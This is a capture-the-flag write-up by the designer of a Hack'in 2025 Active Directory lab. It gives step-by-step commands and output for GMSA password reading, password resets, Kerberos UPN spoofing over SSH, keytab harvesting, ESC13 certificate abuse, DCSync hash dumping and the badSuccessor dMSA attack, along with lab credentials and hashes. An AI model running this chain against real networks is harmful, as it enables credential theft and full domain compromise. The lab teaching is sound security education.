Hack'in 2025 - One Directory

This challenge was part of Hack’in 2025, an annual cybersecurity event held in Aix-en-Provence (France). I made this lab myself, so if you have any tips or feedback to make the next one better, feel free to DM me on X ! To get started, players were given the following IPs:10.99.30.10
,10.99.30.20
,10.99.30.30
, plus the credentials form.luffy
as initial footholds.
TL;DR
- ReadGMSAPassword
- ForceChangePassword
- Abusing Linux Kerberos stack
- Keytab harvesting
- Credentials reuse
- badSuccessor
Flag 1 - SRV1.GRANDLINE.LOCAL
ReadGMSAPassword (PX-5$)
To begin, since we’re starting the lab with valid credentials, we’ll skip the pre-auth reconnaissance phase and jump straight into authenticated enumeration using BloodHound:
rayanlecat@hackin2025 $ nxc ldap dc1.grandline.local -u 'm.luffy' -p '1xHvXvd-#cI2g%(e' --bloodhound --dns-server 10.99.30.10 -c All
LDAP 10.99.30.10 389 DC1 [*] Windows 10 / Server 2019 Build 17763 (name:DC1) (domain:grandline.local)
LDAP 10.99.30.10 389 DC1 [+] grandline.local\m.luffy:1xHvXvd-#cI2g%(e
LDAP 10.99.30.10 389 DC1 Resolved collection methods: rdp, acl, dcom, psremote, session, trusts, objectprops, container, group, localadmin
LDAP 10.99.30.10 389 DC1 Done in 00M 32S
LDAP 10.99.30.10 389 DC1 Compressing output into /root/.nxc/logs/DC1_10.99.30.10_2025-06-13_113326_bloodhound.zip
We can see that our user has the rights to read the GMSA password of the PX-5$
account:

We can now retrieve the GMSA account's secret and extract its NT hash:
rayanlecat@hackin2025 $ ldeep ldap -s dc1.grandline.local -u 'm.luffy' -p '1xHvXvd-#cI2g%(e' -d grandline.local gmsa
PX-5$:nthash:421019f263a877cc438e7fd182795dfb
PX-5$:aes128-cts-hmac-sha1-96:f4065f37eeb284842a3f33f0e286d77f
PX-5$:aes256-cts-hmac-sha1-96:789a52342de86529f10544f2262140a81e57d9f2be6b04b361057894cb85c367
PX-5$:reader:m.luffy
ForceChangePassword (k.kaido)
This user also has permissions over the k.kaido
account that allow us to reset its password:

We proceed to reset the user's password:
rayanlecat@hackin2025 $ bloodyAD --host "dc1.grandline.local" -d "grandline.local" -u 'PX-5$' -p ':421019f263a877cc438e7fd182795dfb' set password k.kaido 'Cat1337!'
[+] Password changed successfully!
Abusing Linux Kerberos stack (s.shanks)
Digging deeper in BloodHound didn’t reveal anything useful for the next step. However, using dacledit.py
from the Impacket toolkit, we discovered that our user has permission to modify the Public-Information
property set on his own account:
rayanlecat@hackin2025 $ dacledit.py grandline.local/"k.kaido":'Cat1337!' -dc-ip 10.99.30.10 -target k.kaido -principal-sid S-1-5-10
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies
[*] Parsing DACL
[*] Printing parsed DACL
[*] Filtering results for SID (S-1-5-10)
...snip...
[*] ACE[17] info
[*] ACE Type : ACCESS_ALLOWED_OBJECT_ACE
[*] ACE flags : None
[*] Access mask : WriteProperty
[*] Flags : ACE_OBJECT_TYPE_PRESENT
[*] Object type (GUID) : Public-Information (e48d0154-bcf8-11d1-8702-00c04fb96050)
[*] Trustee (SID) : Principal Self (S-1-5-10)
...snip...
The Public-Information
property set includes several interesting attributes notably, the userPrincipalName
(UPN). Knowing that there’s a Linux machine joined to the domain, and that the user s.shanks
is a member of the LinuxAdmins
group, we can exploit a vulnerability described in this blog post by Ceri Coburn .
This vulnerability stems from differences in how Kerberos implementations on Windows and Linux validate Kerberos tickets. In short, MIT Kerberos doesn't check the PAC so if we control a domain account and can modify its UPN, we can spoof another user as explained in the following schema :

On Linux systems using MIT Kerberos (commonly found on domain-joined Linux machines), the SSH daemon often allow users to authenticates using Kerberos ticket throught GSSAPI.
By changing our own UPN to match s.shanks, we can impersonate him via SSH on the Linux host SRV1.
To confirm that the exploitation will work, we need to verify that the SSH server on SRV1 supports GSSAPI authentication. To do this, we can use gssapi-abuse :
./gssapi-abuse.py -d grandline.local enum -u k.kaido -p 'Cat1337!'
[=] Found 1 non Windows machines registered within AD
[+] Host srv1.grandline.local has GSSAPI enabled over SSH
Then we modify our UPN accordingly:
rayanlecat@hackin2025 $ bloodyAD --host "dc1.grandline.local" -d "grandline.local" -u 'k.kaido' -p 'Cat1337!' set object k.kaido userPrincipalName -v 's.shanks'
[+] k.kaido's userPrincipalName has been updated
We request a ticket using the NT_ENTERPRISE
principal type so that Kerberos uses our userPrincipalName
as the cname instead of our samAccountName
:
rayanlecat@hackin2025 $ getTGT.py -dc-ip "10.99.30.10" "grandline.local"/"s.shanks":'Cat1337!' -principalType NT_ENTERPRISE
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in s.shanks.ccache
We create a Kerberos configuration to authenticate to the Linux host via GSSAPI: /etc/krb5.conf
[libdefaults]
default_realm = GRANDLINE.LOCAL
[realms]
GRANDLINE.LOCAL = {
kdc = dc1.grandline.local
}
[domain_realm]
.grandline.local = GRANDLINE.LOCAL
grandline.local = GRANDLINE.LOCAL
We export the TGT to a keytab and initiate an SSH connection using it:
rayanlecat@hackin2025 $ export KRB5CCNAME=s.shanks.ccache
rayanlecat@hackin2025 $ ssh -vv -K s.shanks@grandline.local@srv1.grandline.local
Last login: Wed Jun 11 00:05:21 2025 from 172.20.10.7
[s.shanks@srv1 ~]$
Now that we have access to the machine, we could run standard enumeration tools like linpeas
, pspy
, etc. However, the goal wasn’t to spend too much time on that and fortunately, the user has sudo ALL
permissions with NOPASSWD
, meaning we can escalate privileges immediately and get the first flag :
[s.shanks@srv1 ~]$ sudo -l
...snip...
User s.shanks may run the following commands on srv1:
(ALL) NOPASSWD: ALL
[s.shanks@srv1 ~]$ sudo su
[root@srv1 s.shanks]# cat /root/flag.txt
HNx04{81ace9d45ea97e1d9f0ea54630c4b517}
Flag 2 - DC1.GRANDLINE.LOCAL
Keytab harvesting (SRV1$)
On the machine, we perform post-exploitation to retrieve the secrets of the Linux machine account, which are stored in the keytab file:
[root@srv1 ~]# klist -K -e -k /etc/krb5.keytab
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- --------------------------------------------------------------------------
43 11 SRV1$@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac) (0x27714ec365c933ab89a9c5d9f46ef85b)
11 host/SRV1@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac) (0x27714ec365c933ab89a9c5d9f46ef85b)
11 host/srv1.grandline.local@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac) (0x27714ec365c933ab89a9c5d9f46ef85b)
11 RestrictedKrbHost/SRV1@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac) (0x27714ec365c933ab89a9c5d9f46ef85b)
11 RestrictedKrbHost/srv1.grandline.local@GRANDLINE.LOCAL (DEPRECATED:arcfour-hmac) (0x27714ec365c933ab89a9c5d9f46ef85b)
ESC13 (Administrator)
With the machine account, we can move on to an ADCS enumeration phase. We notice that the account is allowed to enroll in the Server
certificate template, which is vulnerable to ESC13. This is because the template allows client authentication (via PKINIT/Schannel) and is linked to the Backup
group:
rayanlecat@hackin2025 $ certipy find -vulnerable -u 'SRV1$@grandline.local' -hashes ':27714ec365c933ab89a9c5d9f46ef85b' -stdout -dc-ip 10.99.30.10 -target dc1.grandline.local -ldap-scheme ldap
...snip...
Certificate Templates
0
Template Name : Server
...snip...
[!] Vulnerabilities
ESC13 : Template allows client authentication and issuance policy is linked to group 'CN=Backup,CN=Users,DC=grandline,DC=local'.
In BloodHound, we can see that the Backup
group which we can impersonate via ESC13 has permissions to perform a DCSync:

First, we request a certificate for this template using the machine account:
rayanlecat@hackin2025 $ certipy req -u 'SRV1$@grandline.local' -hashes :27714ec365c933ab89a9c5d9f46ef85b -dc-ip '10.99.30.10' -target 'DC1.GRANDLINE.LOCAL' -ca 'grandline-DC1-CA' -template 'Server'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'srv1.grandline.local'
[*] Certificate object SID is 'S-1-5-21-1030538350-3760926493-2290161887-1176'
[*] Saving certificate and private key to 'srv1.pfx'
[*] Wrote certificate and private key to 'srv1.pfx'
We can now authenticate using the certificate and obtain a Kerberos ticket via PKINIT:
rayanlecat@hackin2025 $ certipy auth -pfx srv1.pfx -dc-ip 10.99.30.10
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN DNS Host Name: 'srv1.grandline.local'
[*] Security Extension SID: 'S-1-5-21-1030538350-3760926493-2290161887-1176'
[*] Using principal: 'srv1$@grandline.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'srv1.ccache'
[*] Wrote credential cache to 'srv1.ccache'
[*] Trying to retrieve NT hash for 'srv1$'
[*] Got hash for 'srv1$@grandline.local': aad3b435b51404eeaad3b435b51404ee:27714ec365c933ab89a9c5d9f46ef85b
Using this ticket, we can impersonate the privileges of the Backup
group and perform a DCSync and compromise the first domain :
rayanlecat@hackin2025 $ export KRB5CCNAME=srv1.ccache
rayanlecat@hackin2025 $ nxc smb dc1.grandline.local --use-kcache --ntds
SMB dc1.grandline.local 445 DC1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:grandline.local) (signing:True) (SMBv1:False)
SMB dc1.grandline.local 445 DC1 [+] GRANDLINE.LOCAL\srv1$ from ccache
SMB dc1.grandline.local 445 DC1 [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB dc1.grandline.local 445 DC1 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB dc1.grandline.local 445 DC1 Administrator:500:aad3b435b51404eeaad3b435b51404ee:3002112f68c6ec1a0803c9b49557af65:::
...snip...
Now that we have domain administrator privileges, all that’s left is to retrieve the flag:
rayanlecat@hackin2025 $ nxc smb dc1.grandline.local -u Administrator -H 3002112f68c6ec1a0803c9b49557af65 --get-file \\Users\\Administrator\\Desktop\\flag.txt --share 'C$'
SMB dc1.grandline.local 445 DC1 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC1) (domain:grandline.local) (signing:True) (SMBv1:False)
SMB dc1.grandline.local 445 DC1 [+] GRANDLINE.LOCAL\srv1$ from ccache
SMB dc1.grandline.local 445 DC1 [*] Copying "flag.txt" to "flag.txt"
SMB dc1.grandline.local 445 DC1 [+] File "\\Users\\Administrator\\Desktop\\flag.txt" was downloaded to "flag.txt"
rayanlecat@hackin2025 $ cat flag.txt
HNx04{4bc6c81be2da8e1abecd6ee5635e73cb}
Flag 3 - DC2.MARYGEOISE.GOV
Credentials reuse (s.stussy)
Now that we’ve compromised the first domain, we can begin enumerating the second one. We start by performing RID cycling to enumerate domain users:
rayanlecat@hackin2025 $ nxc smb dc2 -u '' -p '' --rid-brute
SMB 192.168.89.96 445 DC2 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC2) (domain:marygeoise.gov) (signing:True) (SMBv1:False)
SMB 192.168.89.96 445 DC2 [+] marygeoise.gov\:
...snip...
SMB 192.168.89.96 445 DC2 1155: MARYGEOISE\s.saturn (SidTypeUser)
SMB 192.168.89.96 445 DC2 1156: MARYGEOISE\s.jupiter (SidTypeUser)
SMB 192.168.89.96 445 DC2 1157: MARYGEOISE\s.stussy (SidTypeUser)
SMB 192.168.89.96 445 DC2 1158: ...snip...
We notice that both domains have a user named stussy
. By reusing the credentials of the b.stussy
account from the grandline.local
domain on the marygeoise.gov
domain for the user s.stussy
, we find that the hash is the same:
rayanlecat@hackin2025 $ nxc smb dc2 -u 's.stussy' -H 5976bf6a3c3bced8feb41b324d6e17e2
SMB 192.168.89.96 445 DC2 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC2) (domain:marygeoise.gov) (signing:True) (SMBv1:False)
SMB 192.168.89.96 445 DC2 [+] marygeoise.gov\s.stussy:5976bf6a3c3bced8feb41b324d6e17e2
badSuccessor (Administrator)
Using bloodyAD (make sure to use the latest version), we see that we have CreateChild
permissions on the CP0
OU:
rayanlecat@hackin2025 $ bloodyAD --host "dc2.marygeoise.gov" -d "marygeoise.gov" -u 's.stussy' -p '5764d9a8390303bbe5bb385f9ddd85ed' -k get writable --otype OU --right CHILD
distinguishedName: OU=CP0,DC=marygeoise,DC=gov
permission: CREATE_CHILD
Recently, Akamai published a blog post describing the exploitation of dMSA accounts, a new feature introduced by Microsoft in Windows Server 2025. The post explains how, by having the right permissions over an OU (such as CreateChild), it's possible to create a dMSA account and set the msDS-ManagedAccountPrecededByLink
attribute to reference a target account in Active Directory for example, Administrator
. Once that’s done, it's possible to request a TGT for the dMSA account, and the ticket will contain the secret (NT hash) of the linked target account, as referenced in the msDS-ManagedAccountPrecededByLink
attribute.
Since we’re on a Windows Server 2025 machine and have CreateChild
rights on an OU, all the conditions are met to exploit this vulnerability.
Here’s a summary of the attack, along with a small diagram:

To carry out the attack, we can use the latest version of bloodyAD, which includes a dedicated module for this. However, note that on Windows Server 2025, RC4 has been disabled so we must authenticate as s.stussy
using either the AES-128 or AES-256 key :
rayanlecat@hackin2025 $ bloodyAD -s --host "dc2.marygeoise.gov" -d "marygeoise.gov" -u 's.stussy' -p '5764d9a8390303bbe5bb385f9ddd85ed' -k add badSuccessor dmsa --ou 'OU=CP0,DC=marygeoise,DC=gov'
[*] Creating DMSA dmsa$ in OU=CP0,DC=marygeoise,DC=gov
[*] Impersonating: CN=Administrator,CN=Users,DC=marygeoise,DC=gov
Realm : MARYGEOISE.GOV
Sname : krbtgt/MARYGEOISE.GOV
UserName : dmsa$
UserRealm : marygeoise.gov
StartTime : 2025-06-12 15:29:35+00:00
EndTime : 2025-06-13 01:29:35+00:00
RenewTill : 2025-06-13 15:33:27+00:00
Flags : enc-pa-rep, pre-authent, renewable, forwardable
Keytype : 18
Key : K+b9nj/iHTTncgLwNW5V3dnVOEFdzO119FRQs/ol5co=
EncodedKirbi :
doIFyTCCBcWgAwIBBaEDAgEWooIEujCCBLZhggSyMIIErqADAgEFoRAbDk1BUllHRU9JU0UuR09WoiMwIaADAgECoRowGBsGa3Ji
...snip...
[+] dMSA TGT stored in ccache file dmsa_7C.ccache
dMSA current keys found in TGS:
AES256: 897d450d116ada30e9b52d1da31e6f0287d00320d2b668e76d5637e4b536a5d5
AES128: 440154373be010bef47465806207e1c8
RC4: ff1e12a0cb22c2e3fcc338ce916b632d
dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: c11934b87974356d5cf58de452c921dc
Using the badSuccessor technique, we were able to retrieve the NT hash of the domain administrator and we can retrieve the flag:
rayanlecat@hackin2025 $ nxc smb dc2.marygeoise.gov -u 'Administrator' -H c11934b87974356d5cf58de452c921dc --get-file \\Users\\Administrator\\Desktop\\flag.txt --share 'C$'
SMB 192.168.89.96 445 DC2 [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC2) (domain:marygeoise.gov) (signing:True) (SMBv1:False)
SMB 192.168.89.96 445 DC2 [+] marygeoise.gov\srv1$ from ccache
SMB 192.168.89.96 445 DC2 [*] Copying "flag.txt" to "flag.txt"
SMB 192.168.89.96 445 DC2 [+] File "\\Users\\Administrator\\Desktop\\flag.txt" was downloaded to "flag.txt"
rayanlecat@hackin2025 $ cat flag.txt
HNx04{e6420fe0eb8af26fb0e492e2b6420c8d}
Final Attack Path

PS : Thanks to Julien Perrin for the scenario builder tool!
Conclusion
In short, crafting this Active Directory lab for Hack’in 2025 was a thrill. I slipped in some niche tricks like abusing the Kerberos stack on Linux and the brand-new badSuccessor attack. Huge thanks to Green IT Solution and Mahel Brossier for hosting the lab, and hats off to the Exegol team especially Shutdown and Volker for being the only team to root the entire lab during the CTF!
In hindsight, the lab's first flag was probably too difficult as an entry point. A better approach would have been to reverse the order of the three flags to offer a more gradual difficulty curve this would have allowed more teams to progress and engage more deeply with the challenges.
Resources
- https://www.pentestpartners.com/security-blog/a-broken-marriage-abusing-mixed-vendor-kerberos-stacks/
- https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
- https://connect.ed-diamond.com/misc/misc-130/les-systemes-unix-vecteurs-de-compromission-active-directory
- https://github.com/CravateRouge/bloodyAD